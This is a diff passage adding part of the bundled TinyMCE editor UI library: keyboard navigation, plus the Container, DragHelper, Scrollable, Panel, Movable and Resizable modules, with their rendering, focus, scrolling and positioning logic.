+			} else {
+				moveFocus(-1);
+			}
+		}
+
+		/**
+		 * Moves the focus to the right this is called by the right key.
+		 *
+		 * @private
+		 */
+		function right() {
+			var role = getRole(), parentRole = getParentRole();
+
+			if (parentRole == "tablist") {
+				moveFocus(1, getFocusElements(focusedElement.parentNode));
+			} else if (role == "menuitem" && parentRole == "menu" && getAriaProp('haspopup')) {
+				enter();
+			} else {
+				moveFocus(1);
+			}
+		}
+
+		/**
+		 * Moves the focus to the up this is called by the up key.
+		 *
+		 * @private
+		 */
+		function up() {
+			moveFocus(-1);
+		}
+
+		/**
+		 * Moves the focus to the up this is called by the down key.
+		 *
+		 * @private
+		 */
+		function down() {
+			var role = getRole(), parentRole = getParentRole();
+
+			if (role == "menuitem" && parentRole == "menubar") {
+				enter();
+			} else if (role == "button" && getAriaProp('haspopup')) {
+				enter({key: 'down'});
+			} else {
+				moveFocus(1);
+			}
+		}
+
+		/**
+		 * Moves the focus to the next item or previous item depending on shift key.
+		 *
+		 * @private
+		 * @param {DOMEvent} e DOM event object.
+		 */
+		function tab(e) {
+			var parentRole = getParentRole();
+
+			if (parentRole == "tablist") {
+				var elm = getFocusElements(focusedControl.getEl('body'))[0];
+
+				if (elm) {
+					elm.focus();
+				}
+			} else {
+				moveFocus(e.shiftKey ? -1 : 1);
+			}
+		}
+
+		/**
+		 * Calls the cancel event on the currently focused control. This is normally done using the Esc key.
+		 *
+		 * @private
+		 */
+		function cancel() {
+			focusedControl.fire('cancel');
+		}
+
+		/**
+		 * Calls the click event on the currently focused control. This is normally done using the Enter/Space keys.
+		 *
+		 * @private
+		 * @param {Object} aria Optional aria data to pass along with the enter event.
+		 */
+		function enter(aria) {
+			aria = aria || {};
+			focusedControl.fire('click', {target: focusedElement, aria: aria});
+		}
+
+		root.on('keydown', function(e) {
+			function handleNonTabOrEscEvent(e, handler) {
+				// Ignore non tab keys for text elements
+				if (isTextInputElement(focusedElement)) {
+					return;
+				}
+
+				if (handler(e) !== false) {
+					e.preventDefault();
+				}
+			}
+
+			if (e.isDefaultPrevented()) {
+				return;
+			}
+
+			switch (e.keyCode) {
+				case 37: // DOM_VK_LEFT
+					handleNonTabOrEscEvent(e, left);
+					break;
+
+				case 39: // DOM_VK_RIGHT
+					handleNonTabOrEscEvent(e, right);
+					break;
+
+				case 38: // DOM_VK_UP
+					handleNonTabOrEscEvent(e, up);
+					break;
+
+				case 40: // DOM_VK_DOWN
+					handleNonTabOrEscEvent(e, down);
+					break;
+
+				case 27: // DOM_VK_ESCAPE
+					cancel();
+					break;
+
+				case 14: // DOM_VK_ENTER
+				case 13: // DOM_VK_RETURN
+				case 32: // DOM_VK_SPACE
+					handleNonTabOrEscEvent(e, enter);
+					break;
+
+				case 9: // DOM_VK_TAB
+					if (tab(e) !== false) {
+						e.preventDefault();
+					}
+					break;
+			}
+		});
+
+		root.on('focusin', function(e) {
+			focusedElement = e.target;
+			focusedControl = e.control;
+		});
+
+		return {
+			focusFirst: focusFirst
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/ui/Container.js
+
+/**
+ * Container.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Container control. This is extended by all controls that can have
+ * children such as panels etc. You can also use this class directly as an
+ * generic container instance. The container doesn't have any specific role or style.
+ *
+ * @-x-less Container.less
+ * @class tinymce.ui.Container
+ * @extends tinymce.ui.Control
+ */
+define("tinymce/ui/Container", [
+	"tinymce/ui/Control",
+	"tinymce/ui/Collection",
+	"tinymce/ui/Selector",
+	"tinymce/ui/Factory",
+	"tinymce/ui/KeyboardNavigation",
+	"tinymce/util/Tools",
+	"tinymce/ui/DomUtils"
+], function(Control, Collection, Selector, Factory, KeyboardNavigation, Tools, DomUtils) {
+	"use strict";
+
+	var selectorCache = {};
+
+	return Control.extend({
+		layout: '',
+		innerClass: 'container-inner',
+
+		/**
+		 * Constructs a new control instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {Array} items Items to add to container in JSON format or control instances.
+		 * @setting {String} layout Layout manager by name to use.
+		 * @setting {Object} defaults Default settings to apply to all items.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._super(settings);
+			settings = self.settings;
+			self._fixed = settings.fixed;
+			self._items = new Collection();
+
+			if (self.isRtl()) {
+				self.addClass('rtl');
+			}
+
+			self.addClass('container');
+			self.addClass('container-body', 'body');
+
+			if (settings.containerCls) {
+				self.addClass(settings.containerCls);
+			}
+
+			self._layout = Factory.create((settings.layout || self.layout) + 'layout');
+
+			if (self.settings.items) {
+				self.add(self.settings.items);
+			}
+
+			// TODO: Fix this!
+			self._hasBody = true;
+		},
+
+		/**
+		 * Returns a collection of child items that the container currently have.
+		 *
+		 * @method items
+		 * @return {tinymce.ui.Collection} Control collection direct child controls.
+		 */
+		items: function() {
+			return this._items;
+		},
+
+		/**
+		 * Find child controls by selector.
+		 *
+		 * @method find
+		 * @param {String} selector Selector CSS pattern to find children by.
+		 * @return {tinymce.ui.Collection} Control collection with child controls.
+		 */
+		find: function(selector) {
+			selector = selectorCache[selector] = selectorCache[selector] || new Selector(selector);
+
+			return selector.find(this);
+		},
+
+		/**
+		 * Adds one or many items to the current container. This will create instances of
+		 * the object representations if needed.
+		 *
+		 * @method add
+		 * @param {Array/Object/tinymce.ui.Control} items Array or item that will be added to the container.
+		 * @return {tinymce.ui.Collection} Current collection control.
+		 */
+		add: function(items) {
+			var self = this;
+
+			self.items().add(self.create(items)).parent(self);
+
+			return self;
+		},
+
+		/**
+		 * Focuses the current container instance. This will look
+		 * for the first control in the container and focus that.
+		 *
+		 * @method focus
+		 * @param {Boolean} keyboard Optional true/false if the focus was a keyboard focus or not.
+		 * @return {tinymce.ui.Collection} Current instance.
+		 */
+		focus: function(keyboard) {
+			var self = this, focusCtrl, keyboardNav, items;
+
+			if (keyboard) {
+				keyboardNav = self.keyboardNav || self.parents().eq(-1)[0].keyboardNav;
+
+				if (keyboardNav) {
+					keyboardNav.focusFirst(self);
+					return;
+				}
+			}
+
+			items = self.find('*');
+
+			// TODO: Figure out a better way to auto focus alert dialog buttons
+			if (self.statusbar) {
+				items.add(self.statusbar.items());
+			}
+
+			items.each(function(ctrl) {
+				if (ctrl.settings.autofocus) {
+					focusCtrl = null;
+					return false;
+				}
+
+				if (ctrl.canFocus) {
+					focusCtrl = focusCtrl || ctrl;
+				}
+			});
+
+			if (focusCtrl) {
+				focusCtrl.focus();
+			}
+
+			return self;
+		},
+
+		/**
+		 * Replaces the specified child control with a new control.
+		 *
+		 * @method replace
+		 * @param {tinymce.ui.Control} oldItem Old item to be replaced.
+		 * @param {tinymce.ui.Control} newItem New item to be inserted.
+		 */
+		replace: function(oldItem, newItem) {
+			var ctrlElm, items = this.items(), i = items.length;
+
+			// Replace the item in collection
+			while (i--) {
+				if (items[i] === oldItem) {
+					items[i] = newItem;
+					break;
+				}
+			}
+
+			if (i >= 0) {
+				// Remove new item from DOM
+				ctrlElm = newItem.getEl();
+				if (ctrlElm) {
+					ctrlElm.parentNode.removeChild(ctrlElm);
+				}
+
+				// Remove old item from DOM
+				ctrlElm = oldItem.getEl();
+				if (ctrlElm) {
+					ctrlElm.parentNode.removeChild(ctrlElm);
+				}
+			}
+
+			// Adopt the item
+			newItem.parent(this);
+		},
+
+		/**
+		 * Creates the specified items. If any of the items is plain JSON style objects
+		 * it will convert these into real tinymce.ui.Control instances.
+		 *
+		 * @method create
+		 * @param {Array} items Array of items to convert into control instances.
+		 * @return {Array} Array with control instances.
+		 */
+		create: function(items) {
+			var self = this, settings, ctrlItems = [];
+
+			// Non array structure, then force it into an array
+			if (!Tools.isArray(items)) {
+				items = [items];
+			}
+
+			// Add default type to each child control
+			Tools.each(items, function(item) {
+				if (item) {
+					// Construct item if needed
+					if (!(item instanceof Control)) {
+						// Name only then convert it to an object
+						if (typeof(item) == "string") {
+							item = {type: item};
+						}
+
+						// Create control instance based on input settings and default settings
+						settings = Tools.extend({}, self.settings.defaults, item);
+						item.type = settings.type = settings.type || item.type || self.settings.defaultType ||
+							(settings.defaults ? settings.defaults.type : null);
+						item = Factory.create(settings);
+					}
+
+					ctrlItems.push(item);
+				}
+			});
+
+			return ctrlItems;
+		},
+
+		/**
+		 * Renders new control instances.
+		 *
+		 * @private
+		 */
+		renderNew: function() {
+			var self = this;
+
+			// Render any new items
+			self.items().each(function(ctrl, index) {
+				var containerElm, fragment;
+
+				ctrl.parent(self);
+
+				if (!ctrl._rendered) {
+					containerElm = self.getEl('body');
+					fragment = DomUtils.createFragment(ctrl.renderHtml());
+
+					// Insert or append the item
+					if (containerElm.hasChildNodes() && index <= containerElm.childNodes.length - 1) {
+						containerElm.insertBefore(fragment, containerElm.childNodes[index]);
+					} else {
+						containerElm.appendChild(fragment);
+					}
+
+					ctrl.postRender();
+				}
+			});
+
+			self._layout.applyClasses(self);
+			self._lastRect = null;
+
+			return self;
+		},
+
+		/**
+		 * Appends new instances to the current container.
+		 *
+		 * @method append
+		 * @param {Array/tinymce.ui.Collection} items Array if controls to append.
+		 * @return {tinymce.ui.Container} Current container instance.
+		 */
+		append: function(items) {
+			return this.add(items).renderNew();
+		},
+
+		/**
+		 * Prepends new instances to the current container.
+		 *
+		 * @method prepend
+		 * @param {Array/tinymce.ui.Collection} items Array if controls to prepend.
+		 * @return {tinymce.ui.Container} Current container instance.
+		 */
+		prepend: function(items) {
+			var self = this;
+
+			self.items().set(self.create(items).concat(self.items().toArray()));
+
+			return self.renderNew();
+		},
+
+		/**
+		 * Inserts an control at a specific index.
+		 *
+		 * @method insert
+		 * @param {Array/tinymce.ui.Collection} items Array if controls to insert.
+		 * @param {Number} index Index to insert controls at.
+		 * @param {Boolean} [before=false] Inserts controls before the index.
+		 */
+		insert: function(items, index, before) {
+			var self = this, curItems, beforeItems, afterItems;
+
+			items = self.create(items);
+			curItems = self.items();
+
+			if (!before && index < curItems.length - 1) {
+				index += 1;
+			}
+
+			if (index >= 0 && index < curItems.length) {
+				beforeItems = curItems.slice(0, index).toArray();
+				afterItems = curItems.slice(index).toArray();
+				curItems.set(beforeItems.concat(items, afterItems));
+			}
+
+			return self.renderNew();
+		},
+
+		/**
+		 * Populates the form fields from the specified JSON data object.
+		 *
+		 * Control items in the form that matches the data will have it's value set.
+		 *
+		 * @method fromJSON
+		 * @param {Object} data JSON data object to set control values by.
+		 * @return {tinymce.ui.Container} Current form instance.
+		 */
+		fromJSON: function(data) {
+			var self = this;
+
+			for (var name in data) {
+				self.find('#' + name).value(data[name]);
+			}
+
+			return self;
+		},
+
+		/**
+		 * Serializes the form into a JSON object by getting all items
+		 * that has a name and a value.
+		 *
+		 * @method toJSON
+		 * @return {Object} JSON object with form data.
+		 */
+		toJSON: function() {
+			var self = this, data = {};
+
+			self.find('*').each(function(ctrl) {
+				var name = ctrl.name(), value = ctrl.value();
+
+				if (name && typeof(value) != "undefined") {
+					data[name] = value;
+				}
+			});
+
+			return data;
+		},
+
+		preRender: function() {
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, layout = self._layout, role = this.settings.role;
+
+			self.preRender();
+			layout.preRender(self);
+
+			return (
+				'<div id="' + self._id + '" class="' + self.classes() + '"' + (role ? ' role="' + this.settings.role + '"' : '') + '>' +
+					'<div id="' + self._id + '-body" class="' + self.classes('body') + '">' +
+						(self.settings.html || '') + layout.renderHtml(self) +
+					'</div>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Post render method. Called after the control has been rendered to the target.
+		 *
+		 * @method postRender
+		 * @return {tinymce.ui.Container} Current combobox instance.
+		 */
+		postRender: function() {
+			var self = this, box;
+
+			self.items().exec('postRender');
+			self._super();
+
+			self._layout.postRender(self);
+			self._rendered = true;
+
+			if (self.settings.style) {
+				DomUtils.css(self.getEl(), self.settings.style);
+			}
+
+			if (self.settings.border) {
+				box = self.borderBox();
+				DomUtils.css(self.getEl(), {
+					'border-top-width': box.top,
+					'border-right-width': box.right,
+					'border-bottom-width': box.bottom,
+					'border-left-width': box.left
+				});
+			}
+
+			if (!self.parent()) {
+				self.keyboardNav = new KeyboardNavigation({
+					root: self
+				});
+			}
+
+			return self;
+		},
+
+		/**
+		 * Initializes the current controls layout rect.
+		 * This will be executed by the layout managers to determine the
+		 * default minWidth/minHeight etc.
+		 *
+		 * @method initLayoutRect
+		 * @return {Object} Layout rect instance.
+		 */
+		initLayoutRect: function() {
+			var self = this, layoutRect = self._super();
+
+			// Recalc container size by asking layout manager
+			self._layout.recalc(self);
+
+			return layoutRect;
+		},
+
+		/**
+		 * Recalculates the positions of the controls in the current container.
+		 * This is invoked by the reflow method and shouldn't be called directly.
+		 *
+		 * @method recalc
+		 */
+		recalc: function() {
+			var self = this, rect = self._layoutRect, lastRect = self._lastRect;
+
+			if (!lastRect || lastRect.w != rect.w || lastRect.h != rect.h) {
+				self._layout.recalc(self);
+				rect = self.layoutRect();
+				self._lastRect = {x: rect.x, y: rect.y, w: rect.w, h: rect.h};
+				return true;
+			}
+		},
+
+		/**
+		 * Reflows the current container and it's children and possible parents.
+		 * This should be used after you for example append children to the current control so
+		 * that the layout managers know that they need to reposition everything.
+		 *
+		 * @example
+		 * container.append({type: 'button', text: 'My button'}).reflow();
+		 *
+		 * @method reflow
+		 * @return {tinymce.ui.Container} Current container instance.
+		 */
+		reflow: function() {
+			var i;
+
+			if (this.visible()) {
+				Control.repaintControls = [];
+				Control.repaintControls.map = {};
+
+				this.recalc();
+				i = Control.repaintControls.length;
+
+				while (i--) {
+					Control.repaintControls[i].repaint();
+				}
+
+				// TODO: Fix me!
+				if (this.settings.layout !== "flow" && this.settings.layout !== "stack") {
+					this.repaint();
+				}
+
+				Control.repaintControls = [];
+			}
+
+			return this;
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/DragHelper.js
+
+/**
+ * DragHelper.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Drag/drop helper class.
+ *
+ * @example
+ * var dragHelper = new tinymce.ui.DragHelper('mydiv', {
+ *     start: function(evt) {
+ *     },
+ *
+ *     drag: function(evt) {
+ *     },
+ *
+ *     end: function(evt) {
+ *     }
+ * });
+ *
+ * @class tinymce.ui.DragHelper
+ */
+define("tinymce/ui/DragHelper", [
+	"tinymce/ui/DomUtils"
+], function(DomUtils) {
+	"use strict";
+
+	function getDocumentSize() {
+		var doc = document, documentElement, body, scrollWidth, clientWidth;
+		var offsetWidth, scrollHeight, clientHeight, offsetHeight, max = Math.max;
+
+		documentElement = doc.documentElement;
+		body = doc.body;
+
+		scrollWidth = max(documentElement.scrollWidth, body.scrollWidth);
+		clientWidth = max(documentElement.clientWidth, body.clientWidth);
+		offsetWidth = max(documentElement.offsetWidth, body.offsetWidth);
+
+		scrollHeight = max(documentElement.scrollHeight, body.scrollHeight);
+		clientHeight = max(documentElement.clientHeight, body.clientHeight);
+		offsetHeight = max(documentElement.offsetHeight, body.offsetHeight);
+
+		return {
+			width: scrollWidth < offsetWidth ? clientWidth : scrollWidth,
+			height: scrollHeight < offsetHeight ? clientHeight : scrollHeight
+		};
+	}
+
+	return function(id, settings) {
+		var eventOverlayElm, doc = document, downButton, start, stop, drag, startX, startY;
+
+		settings = settings || {};
+
+		function getHandleElm() {
+			return doc.getElementById(settings.handle || id);
+		}
+
+		start = function(e) {
+			var docSize = getDocumentSize(), handleElm, cursor;
+
+			e.preventDefault();
+			downButton = e.button;
+			handleElm = getHandleElm();
+			startX = e.screenX;
+			startY = e.screenY;
+
+			// Grab cursor from handle
+			if (window.getComputedStyle) {
+				cursor = window.getComputedStyle(handleElm, null).getPropertyValue("cursor");
+			} else {
+				cursor = handleElm.runtimeStyle.cursor;
+			}
+
+			// Create event overlay and add it to document
+			eventOverlayElm = doc.createElement('div');
+			DomUtils.css(eventOverlayElm, {
+				position: "absolute",
+				top: 0, left: 0,
+				width: docSize.width,
+				height: docSize.height,
+				zIndex: 0x7FFFFFFF,
+				opacity: 0.0001,
+				cursor: cursor
+			});
+
+			doc.body.appendChild(eventOverlayElm);
+
+			// Bind mouse events
+			DomUtils.on(doc, 'mousemove', drag);
+			DomUtils.on(doc, 'mouseup', stop);
+
+			// Begin drag
+			settings.start(e);
+		};
+
+		drag = function(e) {
+			if (e.button !== downButton) {
+				return stop(e);
+			}
+
+			e.deltaX = e.screenX - startX;
+			e.deltaY = e.screenY - startY;
+
+			e.preventDefault();
+			settings.drag(e);
+		};
+
+		stop = function(e) {
+			DomUtils.off(doc, 'mousemove', drag);
+			DomUtils.off(doc, 'mouseup', stop);
+
+			eventOverlayElm.parentNode.removeChild(eventOverlayElm);
+
+			if (settings.stop) {
+				settings.stop(e);
+			}
+		};
+
+		/**
+		 * Destroys the drag/drop helper instance.
+		 *
+		 * @method destroy
+		 */
+		this.destroy = function() {
+			DomUtils.off(getHandleElm());
+		};
+
+		DomUtils.on(getHandleElm(), 'mousedown', start);
+	};
+});
+
+// Included from: js/tinymce/classes/ui/Scrollable.js
+
+/**
+ * Scrollable.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This mixin makes controls scrollable using custom scrollbars.
+ *
+ * @-x-less Scrollable.less
+ * @mixin tinymce.ui.Scrollable
+ */
+define("tinymce/ui/Scrollable", [
+	"tinymce/ui/DomUtils",
+	"tinymce/ui/DragHelper"
+], function(DomUtils, DragHelper) {
+	"use strict";
+
+	return {
+		init: function() {
+			var self = this;
+			self.on('repaint', self.renderScroll);
+		},
+
+		renderScroll: function() {
+			var self = this, margin = 2;
+
+			function repaintScroll() {
+				var hasScrollH, hasScrollV, bodyElm;
+
+				function repaintAxis(axisName, posName, sizeName, contentSizeName, hasScroll, ax) {
+					var containerElm, scrollBarElm, scrollThumbElm;
+					var containerSize, scrollSize, ratio, rect;
+					var posNameLower, sizeNameLower;
+
+					scrollBarElm = self.getEl('scroll' + axisName);
+					if (scrollBarElm) {
+						posNameLower = posName.toLowerCase();
+						sizeNameLower = sizeName.toLowerCase();
+
+						if (self.getEl('absend')) {
+							DomUtils.css(self.getEl('absend'), posNameLower, self.layoutRect()[contentSizeName] - 1);
+						}
+
+						if (!hasScroll) {
+							DomUtils.css(scrollBarElm, 'display', 'none');
+							return;
+						}
+
+						DomUtils.css(scrollBarElm, 'display', 'block');
+						containerElm = self.getEl('body');
+						scrollThumbElm = self.getEl('scroll' + axisName + "t");
+						containerSize = containerElm["client" + sizeName] - (margin * 2);
+						containerSize -= hasScrollH && hasScrollV ? scrollBarElm["client" + ax] : 0;
+						scrollSize = containerElm["scroll" + sizeName];
+						ratio = containerSize / scrollSize;
+
+						rect = {};
+						rect[posNameLower] = containerElm["offset" + posName] + margin;
+						rect[sizeNameLower] = containerSize;
+						DomUtils.css(scrollBarElm, rect);
+
+						rect = {};
+						rect[posNameLower] = containerElm["scroll" + posName] * ratio;
+						rect[sizeNameLower] = containerSize * ratio;
+						DomUtils.css(scrollThumbElm, rect);
+					}
+				}
+
+				bodyElm = self.getEl('body');
+				hasScrollH = bodyElm.scrollWidth > bodyElm.clientWidth;
+				hasScrollV = bodyElm.scrollHeight > bodyElm.clientHeight;
+
+				repaintAxis("h", "Left", "Width", "contentW", hasScrollH, "Height");
+				repaintAxis("v", "Top", "Height", "contentH", hasScrollV, "Width");
+			}
+
+			function addScroll() {
+				function addScrollAxis(axisName, posName, sizeName, deltaPosName, ax) {
+					var scrollStart, axisId = self._id + '-scroll' + axisName, prefix = self.classPrefix;
+
+					self.getEl().appendChild(DomUtils.createFragment(
+						'<div id="' + axisId + '" class="' + prefix + 'scrollbar ' + prefix + 'scrollbar-' + axisName + '">' +
+							'<div id="' + axisId + 't" class="' + prefix + 'scrollbar-thumb"></div>' +
+						'</div>'
+					));
+
+					self.draghelper = new DragHelper(axisId + 't', {
+						start: function() {
+							scrollStart = self.getEl('body')["scroll" + posName];
+							DomUtils.addClass(DomUtils.get(axisId), prefix + 'active');
+						},
+
+						drag: function(e) {
+							var ratio, hasScrollH, hasScrollV, containerSize, layoutRect = self.layoutRect();
+
+							hasScrollH = layoutRect.contentW > layoutRect.innerW;
+							hasScrollV = layoutRect.contentH > layoutRect.innerH;
+							containerSize = self.getEl('body')["client" + sizeName] - (margin * 2);
+							containerSize -= hasScrollH && hasScrollV ? self.getEl('scroll' + axisName)["client" + ax] : 0;
+
+							ratio = containerSize / self.getEl('body')["scroll" + sizeName];
+							self.getEl('body')["scroll" + posName] = scrollStart + (e["delta" + deltaPosName] / ratio);
+						},
+
+						stop: function() {
+							DomUtils.removeClass(DomUtils.get(axisId), prefix + 'active');
+						}
+					});
+/*
+					self.on('click', function(e) {
+						if (e.target.id == self._id + '-scrollv') {
+
+						}
+					});*/
+				}
+
+				self.addClass('scroll');
+
+				addScrollAxis("v", "Top", "Height", "Y", "Width");
+				addScrollAxis("h", "Left", "Width", "X", "Height");
+			}
+
+			if (self.settings.autoScroll) {
+				if (!self._hasScroll) {
+					self._hasScroll = true;
+					addScroll();
+
+					self.on('wheel', function(e) {
+						var bodyEl = self.getEl('body');
+
+						bodyEl.scrollLeft += (e.deltaX || 0) * 10;
+						bodyEl.scrollTop += e.deltaY * 10;
+
+						repaintScroll();
+					});
+
+					DomUtils.on(self.getEl('body'), "scroll", repaintScroll);
+				}
+
+				repaintScroll();
+			}
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/ui/Panel.js
+
+/**
+ * Panel.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new panel.
+ *
+ * @-x-less Panel.less
+ * @class tinymce.ui.Panel
+ * @extends tinymce.ui.Container
+ * @mixes tinymce.ui.Scrollable
+ */
+define("tinymce/ui/Panel", [
+	"tinymce/ui/Container",
+	"tinymce/ui/Scrollable"
+], function(Container, Scrollable) {
+	"use strict";
+
+	return Container.extend({
+		Defaults: {
+			layout: 'fit',
+			containerCls: 'panel'
+		},
+
+		Mixins: [Scrollable],
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, layout = self._layout, innerHtml = self.settings.html;
+
+			self.preRender();
+			layout.preRender(self);
+
+			if (typeof(innerHtml) == "undefined") {
+				innerHtml = (
+					'<div id="' + self._id + '-body" class="' + self.classes('body') + '">' +
+						layout.renderHtml(self) +
+					'</div>'
+				);
+			} else {
+				if (typeof(innerHtml) == 'function') {
+					innerHtml = innerHtml.call(self);
+				}
+
+				self._hasBody = false;
+			}
+
+			return (
+				'<div id="' + self._id + '" class="' + self.classes() + '" hidefocus="1" tabindex="-1" role="group">' +
+					(self._preBodyHtml || '') +
+					innerHtml +
+				'</div>'
+			);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Movable.js
+
+/**
+ * Movable.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Movable mixin. Makes controls movable absolute and relative to other elements.
+ *
+ * @mixin tinymce.ui.Movable
+ */
+define("tinymce/ui/Movable", [
+	"tinymce/ui/DomUtils"
+], function(DomUtils) {
+	"use strict";
+
+	function calculateRelativePosition(ctrl, targetElm, rel) {
+		var ctrlElm, pos, x, y, selfW, selfH, targetW, targetH, viewport, size;
+
+		viewport = DomUtils.getViewPort();
+
+		// Get pos of target
+		pos = DomUtils.getPos(targetElm);
+		x = pos.x;
+		y = pos.y;
+
+		if (ctrl._fixed && DomUtils.getRuntimeStyle(document.body, 'position') == 'static') {
+			x -= viewport.x;
+			y -= viewport.y;
+		}
+
+		// Get size of self
+		ctrlElm = ctrl.getEl();
+		size = DomUtils.getSize(ctrlElm);
+		selfW = size.width;
+		selfH = size.height;
+
+		// Get size of target
+		size = DomUtils.getSize(targetElm);
+		targetW = size.width;
+		targetH = size.height;
+
+		// Parse align string
+		rel = (rel || '').split('');
+
+		// Target corners
+		if (rel[0] === 'b') {
+			y += targetH;
+		}
+
+		if (rel[1] === 'r') {
+			x += targetW;
+		}
+
+		if (rel[0] === 'c') {
+			y += Math.round(targetH / 2);
+		}
+
+		if (rel[1] === 'c') {
+			x += Math.round(targetW / 2);
+		}
+
+		// Self corners
+		if (rel[3] === 'b') {
+			y -= selfH;
+		}
+
+		if (rel[4] === 'r') {
+			x -= selfW;
+		}
+
+		if (rel[3] === 'c') {
+			y -= Math.round(selfH / 2);
+		}
+
+		if (rel[4] === 'c') {
+			x -= Math.round(selfW / 2);
+		}
+
+		return {
+			x: x,
+			y: y,
+			w: selfW,
+			h: selfH
+		};
+	}
+
+	return {
+		/**
+		 * Tests various positions to get the most suitable one.
+		 *
+		 * @method testMoveRel
+		 * @param {DOMElement} elm Element to position against.
+		 * @param {Array} rels Array with relative positions.
+		 * @return {String} Best suitable relative position.
+		 */
+		testMoveRel: function(elm, rels) {
+			var viewPortRect = DomUtils.getViewPort();
+
+			for (var i = 0; i < rels.length; i++) {
+				var pos = calculateRelativePosition(this, elm, rels[i]);
+
+				if (this._fixed) {
+					if (pos.x > 0 && pos.x + pos.w < viewPortRect.w && pos.y > 0 && pos.y + pos.h < viewPortRect.h) {
+						return rels[i];
+					}
+				} else {
+					if (pos.x > viewPortRect.x && pos.x + pos.w < viewPortRect.w + viewPortRect.x &&
+						pos.y > viewPortRect.y && pos.y + pos.h < viewPortRect.h + viewPortRect.y) {
+						return rels[i];
+					}
+				}
+			}
+
+			return rels[0];
+		},
+
+		/**
+		 * Move relative to the specified element.
+		 *
+		 * @method moveRel
+		 * @param {Element} elm Element to move relative to.
+		 * @param {String} rel Relative mode. For example: br-tl.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		moveRel: function(elm, rel) {
+			if (typeof(rel) != 'string') {
+				rel = this.testMoveRel(elm, rel);
+			}
+
+			var pos = calculateRelativePosition(this, elm, rel);
+			return this.moveTo(pos.x, pos.y);
+		},
+
+		/**
+		 * Move by a relative x, y values.
+		 *
+		 * @method moveBy
+		 * @param {Number} dx Relative x position.
+		 * @param {Number} dy Relative y position.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		moveBy: function(dx, dy) {
+			var self = this, rect = self.layoutRect();
+
+			self.moveTo(rect.x + dx, rect.y + dy);
+
+			return self;
+		},
+
+		/**
+		 * Move to absolute position.
+		 *
+		 * @method moveTo
+		 * @param {Number} x Absolute x position.
+		 * @param {Number} y Absolute y position.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		moveTo: function(x, y) {
+			var self = this;
+
+			// TODO: Move this to some global class
+			function contrain(value, max, size) {
+				if (value < 0) {
+					return 0;
+				}
+
+				if (value + size > max) {
+					value = max - size;
+					return value < 0 ? 0 : value;
+				}
+
+				return value;
+			}
+
+			if (self.settings.constrainToViewport) {
+				var viewPortRect = DomUtils.getViewPort(window);
+				var layoutRect = self.layoutRect();
+
+				x = contrain(x, viewPortRect.w + viewPortRect.x, layoutRect.w);
+				y = contrain(y, viewPortRect.h + viewPortRect.y, layoutRect.h);
+			}
+
+			if (self._rendered) {
+				self.layoutRect({x: x, y: y}).repaint();
+			} else {
+				self.settings.x = x;
+				self.settings.y = y;
+			}
+
+			self.fire('move', {x: x, y: y});
+
+			return self;
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/ui/Resizable.js
+
+/**
+ * Resizable.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Resizable mixin. Enables controls to be resized.
+ *
+ * @mixin tinymce.ui.Resizable
+ */
+define("tinymce/ui/Resizable", [
+	"tinymce/ui/DomUtils"
+], function(DomUtils) {
+	"use strict";
+
+	return {
+		/**
+		 * Resizes the control to contents.
+		 *
+		 * @method resizeToContent
+		 */
+		resizeToContent: function() {
+			this._layoutRect.autoResize = true;
+			this._lastRect = null;
+			this.reflow();
+		},
+
+		/**
+		 * Resizes the control to a specific width/height.
+		 *
+		 * @method resizeTo
+		 * @param {Number} w Control width.
+		 * @param {Number} h Control height.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		resizeTo: function(w, h) {
+			// TODO: Fix hack
+			if (w <= 1 || h <= 1) {
+				var rect = DomUtils.getWindowSize();
+
+				w = w <= 1 ? w * rect.w : w;
+				h = h <= 1 ? h * rect.h : h;
+			}
+
+			this._layoutRect.autoResize = false;
+			return this.layoutRect({minW: w, minH: h, w: w, h: h}).reflow();
+		},
+
+		/**
+		 * Resizes the control to a specific relative width/height.
+		 *
+		 * @method resizeBy
+		 * @param {Number} dw Relative control width.
+		 * @param {Number} dh Relative control height.
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		resizeBy: function(dw, dh) {
+			var self = this, rect = self.layoutRect();
+
+			return self.resizeTo(rect.w + dw, rect.h + dh);
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/ui/FloatPanel.js
+
+/**
+ * FloatPanel.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
